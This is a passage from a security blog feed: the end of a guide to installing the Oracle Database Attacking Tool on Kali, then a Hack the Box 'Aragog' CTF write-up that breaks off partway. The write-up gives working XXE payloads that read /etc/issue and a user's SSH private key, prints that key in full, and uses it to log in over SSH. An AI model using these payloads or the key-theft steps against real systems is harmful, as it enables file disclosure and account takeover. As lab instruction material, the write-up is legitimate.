&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/odat# activate-global-python-argcomplete
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;ODAT should be fully functioning without any issue. Good Luck&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/odat# ./odat.py -h
usage: odat.py [-h] [--version]
               {all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean}
               ...

            _  __   _  ___
           / \|  \ / \|_ _|
          ( o ) o ) o || |
           \_/|__/|_n_||_|
-------------------------------------------
  _        __           _           ___
 / \      |  \         / \         |_ _|
( o )       o )         o |         | |
 \_/racle |__/atabase |_n_|ttacking |_|ool
-------------------------------------------

By Quentin Hardy (quentin.hardy@bt.com or quentin.hardy@protonmail.com)

positional arguments:
  {all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean}

                      Choose a main command
    all               to run all modules in order to know what it is possible to do
    tnscmd            to communicate with the TNS listener
    tnspoison         to exploit TNS poisoning attack
    sidguesser        to know valid SIDs
    passwordguesser   to know valid credentials
    utlhttp           to send HTTP requests or to scan ports
    httpuritype       to send HTTP requests or to scan ports
    utltcp            to scan ports
    ctxsys            to read files
    externaltable     to read files or to execute system commands/scripts
    dbmsxslprocessor  to upload files
    dbmsadvisor       to upload files
    utlfile           to download/upload/delete files
    dbmsscheduler     to execute system commands without a standard output
    java              to execute system commands
    passwordstealer   to get hashed Oracle passwords
    oradbg            to execute a bin or script
    dbmslob           to download files
    stealremotepwds   to steal hashed passwords thanks an authentication sniffing (CVE-2012-3137)
    userlikepwd       to try each Oracle username stored in the DB like the corresponding pwd
    smb               to capture the SMB authentication
    privesc           to gain elevated access
    cve               to exploit a CVE
    search            to search in databases, tables and columns
    unwrapper         to unwrap PL/SQL source code (no for 9i version)
    clean             clean traces and logs

optional arguments:
  -h, --help          show this help message and exit
  --version           show program's version number and exit
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/odat# ./odat.py --version
Version 2.3 - 2018/06/03
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="tutorial" /><category term="pentest" /><category term="oracle" /><category term="tool" /><summary type="html">Overview I decided to write a quick little guide on installing the Oracle Database Attacking Tool (ODAT) on the latest version of Kali Linux since I noticed people were running into issues with it. ODAT is an open source penetration testing tool targeted at attacking, and auditing the security of Oracle Database servers. Requirements git python 2.7.x An account on oracle.com or use something like bugmenot.com Installation Note: For this setup ODAT is being installed on the latest version of Kali at the moment (2018.2) We are also installing the development version of ODAT (seems to work better than the release binaries) Getting instaclient, sdk, and sqlplus Oracle forces you to register to their site in order to download pretty much anything (thanks oracle). You can create a temporary email using any temporary email service like 10minutemail.com, your own personal email (why?), or use the service bugmenot.com to get a login. After you’ve logged in you need to download the following items. (all version 12.2.0.1.0) instantclient-basic-linux.x64-12.2.0.1.0.zip instantclient-sqlplus-linux.x64-12.2.0.1.0.zip instantclient-sdk-linux.x64-12.2.0.1.0.zip we need to move all these files from the downloads directory into the /opt/oracle directory. root@kali:~/Downloads# mkdir -p /opt/oracle/ root@kali:~/Downloads# cp instantclient-* /opt/oracle/ After you’ve downloaded the following files ensure you unzip the instantclient-basic-linux.x64-12.2.0.1.0.zip zip first. root@kali:~/Downloads# cd /opt/oracle/ root@kali:/opt/oracle# unzip instantclient-basic-linux.x64-12.1.0.2.0.zip root@kali:/opt/oracle# unzip instantclient-sdk-linux.x64-12.1.0.2.0.zip root@kali:/opt/oracle# unzip instantclient-sqlplus-linux.x64-12.1.0.2.0.zip You should now have an “instantclient_12_1” directory. Create symlink to the libclntsh.so.12.1 so file. root@kali:/opt/oracle# cd instantclient_12_1/ root@kali:/opt/oracle/instantclient_12_1# ln libclntsh.so.12.1 libclntsh.so Add the following to your bashrc echo &quot; export PATH=$PATH:/opt/oracle/instantclient_12_1 export SQLPATH=/opt/oracle/instantclient_12_1 export TNS_ADMIN=/opt/oracle/instantclient_12_1 export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1 export ORACLE_HOME=/opt/oracle/instantclient_12_1 &quot; &amp;gt;&amp;gt; ~/.bashrc reload bashrc root@kali:/opt/oracle/instantclient_12_1# source ~/.bashrc If you are able to run sqlplus without any errors you are good to continue. root@kali:/opt/oracle/instantclient_12_1# sqlplus SQL*Plus: Release 12.1.0.2.0 Production on Wed Aug 1 03:08:10 2018 Copyright (c) 1982, 2014, Oracle. All rights reserved. Enter user-name: Installing ODAT (development version) From this point forward, it’s basically following the guide on the github setup page minus a few steps. (I recommend doing an apt-get update before performing the following steps) root@kali:~# cd /opt/ root@kali:/opt# git clone https://github.com/quentinhardy/odat.git cd odat/ Install: libaio1 python-dev alien python-pip python-scapy root@kali:/opt/odat# apt-get install -y libaio1 python-dev alien python-pip python-scapy install: cx_Oracle root@kali:/opt/odat# pip install cx_Oracle Test to make sure the dependencies so far have installed correctly. You shouldn’t have any errors here. root@kali:/opt/odat# python -c 'import cx_Oracle' Install the following python packages from pip: colorlog termcolor pycrypto passlib argcomplete root@kali:/opt/odat# pip install colorlog termcolor pycrypto passlib argcomplete Active python-argcomplete root@kali:/opt/odat# activate-global-python-argcomplete ODAT should be fully functioning without any issue. Good Luck root@kali:/opt/odat# ./odat.py -h usage: odat.py [-h] [--version] {all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean} ... _ __ _ ___ / \| \ / \|_ _| ( o ) o ) o || | \_/|__/|_n_||_| ------------------------------------------- _ __ _ ___ / \ | \ / \ |_ _| ( o ) o ) o | | | \_/racle |__/atabase |_n_|ttacking |_|ool ------------------------------------------- By Quentin Hardy (quentin.hardy@bt.com or quentin.hardy@protonmail.com) positional arguments: {all,tnscmd,tnspoison,sidguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean} Choose a main command all to run all modules in order to know what it is possible to do tnscmd to communicate with the TNS listener tnspoison to exploit TNS poisoning attack sidguesser to know valid SIDs passwordguesser to know valid credentials utlhttp to send HTTP requests or to scan ports httpuritype to send HTTP requests or to scan ports utltcp to scan ports ctxsys to read files externaltable to read files or to execute system commands/scripts dbmsxslprocessor to upload files dbmsadvisor to upload files utlfile to download/upload/delete files dbmsscheduler to execute system commands without a standard output java to execute system commands passwordstealer to get hashed Oracle passwords oradbg to execute a bin or script dbmslob to download files stealremotepwds to steal hashed passwords thanks an authentication sniffing (CVE-2012-3137) userlikepwd to try each Oracle username stored in the DB like the corresponding pwd smb to capture the SMB authentication privesc to gain elevated access cve to exploit a CVE search to search in databases, tables and columns unwrapper to unwrap PL/SQL source code (no for 9i version) clean clean traces and logs optional arguments: -h, --help show this help message and exit --version show program's version number and exit root@kali:/opt/odat# ./odat.py --version Version 2.3 - 2018/06/03</summary></entry><entry><title type="html">Hack the Box - Aragog Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/07/21/hackthebox-aragog-writeup/" rel="alternate" type="text/html" title="Hack the Box - Aragog  Write up" /><published>2018-07-21T00:00:00-04:00</published><updated>2018-07-21T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/07/21/hackthebox-aragog-writeup</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/07/21/hackthebox-aragog-writeup/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/1.png&quot; alt=&quot;aragog&quot; /&gt;
&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/&quot;&gt;BurpSuite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;GoBuster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/DominicBreuker/pspy&quot;&gt;Pspy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;
&lt;h3 id=&quot;initial-scanning&quot;&gt;Initial Scanning&lt;/h3&gt;

&lt;p&gt;Like with every hack the box machine lets begin with an nmap scan against aragog  (10.10.10.78)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Nmap 7.70 scan initiated Sat May 12 19:49:54 2018 as: nmap -T4 -sC -A -n -v -p- -oA inital_scan 10.10.10.78
Increasing send delay for 10.10.10.78 from 0 to 5 due to 883 out of 2206 dropped probes since last increase.
Nmap scan report for 10.10.10.78
Host is up (0.14s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21 16:30 test.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.83
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
|   256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_  256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=5/12%OT=21%CT=1%CU=40756%PV=Y%DS=2%DC=T%G=Y%TM=5AF7814
OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Uptime guess: 17.011 days (since Wed Apr 25 19:49:01 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   144.05 ms 10.10.14.1
2   144.26 ms 10.10.10.78

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 12 20:05:33 2018 -- 1 IP address (1 host up) scanned in 939.01 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;From our scan we can see that we have three services available for us to explore. FTP on port 21 which has anonymous login enabled, ssh  on 22, and a webserver on port 80.&lt;/p&gt;

&lt;h3 id=&quot;enumerating-ftp-testtxt&quot;&gt;Enumerating FTP (test.txt)&lt;/h3&gt;

&lt;p&gt;Lets connect to the ftp server with the anonymous user.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/aragog# ftp 10.10.10.78
Connected to 10.10.10.78.
220 (vsFTPd 3.0.3)
Name (10.10.10.78:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
226 Directory send OK.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We see there is a single file called &lt;code class=&quot;highlighter-rouge&quot;&gt;test.txt&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ftp&amp;gt; get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (86 bytes).
226 Transfer complete.
86 bytes received in 0.00 secs (53.2220 kB/s)
ftp&amp;gt; quit
221 Goodbye.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Looking at the test.txt file we see some data related to a subnet_mask, which looks like it might be XML formatted data…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/aragog# cat test.txt
&amp;lt;details&amp;gt;
    &amp;lt;subnet_mask&amp;gt;255.255.255.192&amp;lt;/subnet_mask&amp;gt;
    &amp;lt;test&amp;gt;&amp;lt;/test&amp;gt;
&amp;lt;/details&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;enumerating-port-80&quot;&gt;Enumerating Port 80&lt;/h3&gt;

&lt;p&gt;Upon visiting the server on port 80 you are shown the default apache page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/2.png&quot; alt=&quot;&amp;quot;Default Apache Page&amp;quot;&quot; title=&quot;Default Apache Page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Running &lt;code class=&quot;highlighter-rouge&quot;&gt;gobuster&lt;/code&gt; against the site reveals that the page hosts. php` is available.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/aragog# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  http://10.10.10.78 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_aragog

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.78/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,403,200
[+] Extensions   : .php,.html
=====================================================
/index.html (Status: 200)
/hosts.php (Status: 200)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Visiting &lt;code class=&quot;highlighter-rouge&quot;&gt;hosts.php&lt;/code&gt; you see the following landing page…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/3.png&quot; alt=&quot;&amp;quot;Aargog hosts page &amp;quot;&quot; title=&quot;Aragog hosts page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The page states that: &lt;code class=&quot;highlighter-rouge&quot;&gt;There are 4294967294 possible hosts for&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Looking backwards, let’s take a took at &lt;code class=&quot;highlighter-rouge&quot;&gt;test.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;test.txt&lt;/code&gt; states that our subnet mask is &lt;code class=&quot;highlighter-rouge&quot;&gt;255.255.255.192&lt;/code&gt;, we attempt to do the calculation but realize that we can’t do subnet math in our head! Oh my, we should have paid more attention in intro to networking college! We quickly go back to school and rack up an additional 90,000 USD of student loan debt and we realize that &lt;code class=&quot;highlighter-rouge&quot;&gt;255.255.255.192&lt;/code&gt; is a /26 which has a maximum of 62 usable hosts per network with 4 possible networks available which means (62 * 4 ) = 248 total possible hosts for the test.txt subnet.&lt;/p&gt;

&lt;p&gt;With our near almost complete  accredited university enducation education, we that &lt;code class=&quot;highlighter-rouge&quot;&gt;4294967294&lt;/code&gt; does not equal &lt;code class=&quot;highlighter-rouge&quot;&gt;248&lt;/code&gt;. With our new found knowledge we attempt to send a &lt;code class=&quot;highlighter-rouge&quot;&gt;POST&lt;/code&gt; request with the data provided by &lt;code class=&quot;highlighter-rouge&quot;&gt;test.txt&lt;/code&gt; in the body of the request.&lt;/p&gt;

&lt;p&gt;We see the application react in the following manner….&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/4.png&quot; alt=&quot;&amp;quot;Subnet Calculation Arargon&amp;quot;&quot; title=&quot;Subnet Calculation Arargon&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Interesting, the application reacted just as expected. Let’s attempt a simple &lt;a href=&quot;https://hackingandcoffee.com/exploiting-xxe/&quot;&gt;XXE injection&lt;/a&gt; since we know the application is parsing our input from the requests due to the change in response, and the data is likely XML formatted.&lt;/p&gt;

&lt;p&gt;Our payload:&lt;/p&gt;
&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE foo [  
&amp;lt;!ELEMENT foo ANY &amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;!ENTITY xxe SYSTEM &quot;file:////etc/issue&quot; &amp;gt;&lt;/span&gt;]&amp;gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;details&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;subnet_mask&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/subnet_mask&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;test&amp;gt;&amp;lt;/test&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;/details&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/5.png&quot; alt=&quot;&amp;quot;XXE reading /etc/issue&amp;quot;&quot; title=&quot;XXE reading /etc/issue&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Success.&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;reading-florians-ssh-private-key&quot;&gt;Reading florian’s ssh private key&lt;/h3&gt;

&lt;p&gt;Since we are able to read files on system, we can potentially read sensitive files on the box. By reading the contents of &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; we know that &lt;code class=&quot;highlighter-rouge&quot;&gt;florian&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;cliff&lt;/code&gt; are users on this box &amp;amp; their login shells are set to &lt;code class=&quot;highlighter-rouge&quot;&gt;/bin/bash/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/6.png&quot; alt=&quot;&amp;quot;Contents of /etc/passwd&amp;quot;&quot; title=&quot;Contents of /etc/passwd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We attempt the &lt;code class=&quot;highlighter-rouge&quot;&gt;user.txt&lt;/code&gt; file for both users, and you discover that’ florian’s user is the user we are going after.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/7.png&quot; alt=&quot;&amp;quot;Florian user.txt&amp;quot;&quot; title=&quot;Florian user.txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We know that ssh is an available service on the box, so let see if florian has an ssh private key for his user.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;xml payload&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt;&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE foo [  
&amp;lt;!ELEMENT foo ANY &amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;!ENTITY xxe SYSTEM &quot;file:////home/florian/.ssh/id_rsa&quot; &amp;gt;&lt;/span&gt;]&amp;gt;


&lt;span class=&quot;nt&quot;&gt;&amp;lt;details&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;subnet_mask&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/subnet_mask&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;test&amp;gt;&amp;lt;/test&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;/details&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/8.png&quot; alt=&quot;&amp;quot;SSH Private key&amp;quot;&quot; title=&quot;Florian SSH Private Key&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Florian ssh_private key&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA50DQtmOP78gLZkBjJ/JcC5gmsI21+tPH3wjvLAHaFMmf7j4d
+YQEMbEg+yjj6/ybxJAsF8l2kUhfk56LdpmC3mf/sO4romp9ONkl9R4cu5OB5ef8
lAjOg67dxWIo77STqYZrWUVnQ4n8dKG4Tb/z67+gT0R9lD9c0PhZwRsFQj8aKFFn
1R1B8n9/e1PB0AJ81PPxCc3RpVJdwbq8BLZrVXKNsg+SBUdbBZc3rBC81Kle2CB+
Ix89HQ3deBCL3EpRXoYVQZ4EuCsDo7UlC8YSoEBgVx4IgQCWx34tXCme5cJa/UJd
d4Lkst4w4sptYMHzzshmUDrkrDJDq6olL4FyKwIDAQABAoIBAAxwMwmsX0CRbPOK
AQtUANlqzKHwbVpZa8W2UE74poc5tQ12b9xM2oDluxVnRKMbyjEPZB+/aU41K1bg
TzYI2b4mr90PYm9w9N1K6Ly/auI38+Ouz6oSszDoBeuo9PS3rL2QilOZ5Qz/7gFD
9YrRCUij3PaGg46mvdJLmWBGmMjQS+ZJ7w1ouqsIANypMay2t45v2Ak+SDhl/SDb
/oBJFfnOpXNtQfJZZknOGY3SlCWHTgMCyYJtjMCW2Sh2wxiQSBC8C3p1iKWgyaSV
0qH/3gt7RXd1F3vdvACeuMmjjjARd+LNfsaiu714meDiwif27Knqun4NQ+2x8JA1
sWmBdcECgYEA836Z4ocK0GM7akW09wC7PkvjAweILyq4izvYZg+88Rei0k411lTV
Uahyd7ojN6McSd6foNeRjmqckrKOmCq2hVOXYIWCGxRIIj5WflyynPGhDdMCQtIH
zCr9VrMFc7WCCD+C7nw2YzTrvYByns/Cv+uHRBLe3S4k0KNiUCWmuYsCgYEA8yFE
rV5bD+XI/iOtlUrbKPRyuFVUtPLZ6UPuunLKG4wgsGsiVITYiRhEiHdBjHK8GmYE
tkfFzslrt+cjbWNVcJuXeA6b8Pala7fDp8lBymi8KGnsWlkdQh/5Ew7KRcvWS5q3
HML6ac06Ur2V0ylt1hGh/A4r4YNKgejQ1CcO/eECgYEAk02wjKEDgsO1avoWmyL/
I5XHFMsWsOoYUGr44+17cSLKZo3X9fzGPCs6bIHX0k3DzFB4o1YmAVEvvXN13kpg
ttG2DzdVWUpwxP6PVsx/ZYCr3PAdOw1SmEodjriogLJ6osDBVcMhJ+0Y/EBblwW7
HF3BLAZ6erXyoaFl1XShozcCgYBuS+JfEBYZkTHscP0XZD0mSDce/r8N07odw46y
kM61To2p2wBY/WdKUnMMwaU/9PD2vN9YXhkTpXazmC0PO+gPzNYbRe1ilFIZGuWs
4XVyQK9TWjI6DoFidSTGi4ghv8Y4yDhX2PBHPS4/SPiGMh485gTpVvh7Ntd/NcI+
7HU1oQKBgQCzVl/pMQDI2pKVBlM6egi70ab6+Bsg2U20fcgzc2Mfsl0Ib5T7PzQ3
daPxRgjh3CttZYdyuTK3wxv1n5FauSngLljrKYXb7xQfzMyO0C7bE5Rj8SBaXoqv
uMQ76WKnl3DkzGREM4fUgoFnGp8fNEZl5ioXfxPiH/Xl5nStkQ0rTA==
-----END RSA PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Lets see if we can login with the key&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/aragog# ssh -i florian_id_rsa florian@10.10.10.78
Last login: Sat Jul 21 05:52:00 2018 from 10.10.14.188
florian@aragog:~$ id
uid=1000(florian) gid=1000(florian) groups=1000(florian)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Look’s like the login was successful. Let’s take a peak at &lt;code class=&quot;highlighter-rouge&quot;&gt;hosts.php&lt;/code&gt; real quick&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;florian@aragog:/var/www/html$ cat hosts.php
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

    &lt;span class=&quot;nb&quot;&gt;libxml_disable_entity_loader&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$xmlfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_get_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'php://input'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$dom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DOMDocument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$dom&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loadXML&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$xmlfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;LIBXML_NOENT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;LIBXML_DTDLOAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
